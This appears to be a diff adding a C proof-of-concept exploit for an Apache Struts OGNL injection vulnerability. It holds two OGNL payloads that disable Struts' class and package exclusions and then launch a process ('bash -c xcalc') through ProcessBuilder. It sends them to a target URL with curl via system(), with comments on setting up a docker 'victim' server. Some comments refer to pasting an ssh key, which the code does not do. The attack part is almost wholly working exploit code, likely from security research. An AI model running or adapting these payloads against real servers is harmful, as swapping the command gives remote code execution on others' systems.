|
| 1 | +#include <stdio.h> |
| 2 | +#include <stdlib.h> |
| 3 | +#include <string.h> |
| 4 | +#include <unistd.h> |
| 5 | +#include <fcntl.h> |
| 6 | +#include "utils.h" |
| 7 | + |
| 8 | +// NOTE: |
| 9 | +// This exploit will not normally work if Struts is running in a docker |
| 10 | +// container, because you cannot pop a calculator from inside docker. There |
| 11 | +// are two ways to solve this problem. The first solution is to pass the |
| 12 | +// following extra arguments on the `docker run` command line, to enable X |
| 13 | +// applications to run from within the container: |
| 14 | +// |
| 15 | +// ``` |
| 16 | +// -e DISPLAY=$DISPLAY -v /tmp/.X11-unix:/tmp/.X11-unix |
| 17 | +// ``` |
| 18 | +// |
| 19 | +// The second solution is to run Struts outside of docker. The easiest way |
| 20 | +// to do this is to follow the instructions in the README for building |
| 21 | +// Struts in docker. Then just copy the tomcat directory out of docker. To |
| 22 | +// do that, start docker like this: |
| 23 | +// |
| 24 | +// ``` |
| 25 | +// docker run -v `pwd`:/home/victim/temp -i -t struts-server |
| 26 | +// ``` |
| 27 | +// |
| 28 | +// And inside docker, copy the tomcat directory into `temp` which is mapped |
| 29 | +// to the directory that you started docker from: |
| 30 | +// |
| 31 | +// ``` |
| 32 | +// cp -r apache-tomcat-9.0.12/ temp/ |
| 33 | +// ``` |
| 34 | + |
| 35 | +int main(int argc, char* argv[]) { |
| 36 | + if (argc < 2) { |
| 37 | + printf("usage example: http://172.16.0.10:8080/struts2-showcase\n"); |
| 38 | + return 1; |
| 39 | + } |
| 40 | + |
| 41 | + const char* url = argv[1]; |
| 42 | + |
| 43 | + // Scratch buffers for building the curl command line. |
| 44 | + char scratch1[2048]; |
| 45 | + char scratch2[2048]; |
| 46 | + char cmd[4096]; |
| 47 | + |
| 48 | + // First OGNL payload, which we need to urlencode and send to the Struts |
| 49 | + // server with curl. |
| 50 | + const char* url1 = |
| 51 | + "${(#_=#attr['struts.valueStack']).(#context=#_.getContext())." |
| 52 | + "(#container=#context['com.opensymphony.xwork2.ActionContext.container'])." |
| 53 | + "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl." |
| 54 | + "OgnlUtil@class)).(#ognlUtil.setExcludedClasses(''))." |
| 55 | + "(#ognlUtil.setExcludedPackageNames(''))}"; |
| 56 | + |
| 57 | + // urlencode the first payload and send it to the Struts server. |
| 58 | + urlencode(scratch1, sizeof(scratch1), url1); |
| 59 | + snprintf(cmd, sizeof(cmd), "curl %s/%s/actionChain1.action", url, scratch1); |
| 60 | + system(cmd); |
| 61 | + |
| 62 | + // Second OGNL payload. We need to paste our ssh key into the middle of |
| 63 | + // this string and urlencode it. |
| 64 | + const char* url2 = |
| 65 | + "${(#_=#attr['struts.valueStack']).(#context=#_.getContext())." |
| 66 | + "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#context." |
| 67 | + "setMemberAccess(#dm)).(#sl=@java.io.File@separator)." |
| 68 | + "(#p=new java.lang.ProcessBuilder({'bash','-c','xcalc'})).(#p.start())}"; |
| 69 | + |
| 70 | + // Escape any slash characters in the ssh key, to stop Tomcat from |
| 71 | + // intercepting them. |
| 72 | + escape_forward_slash(scratch1, sizeof(scratch1), url2); |
| 73 | + |
| 74 | + urlencode(scratch2, sizeof(scratch2), scratch1); |
| 75 | + snprintf(cmd, sizeof(cmd), "curl %s/%s/actionChain1.action", url, scratch2); |
| 76 | + system(cmd); |
| 77 | + |
| 78 | + return 0; |
| 79 | +} |
0 commit comments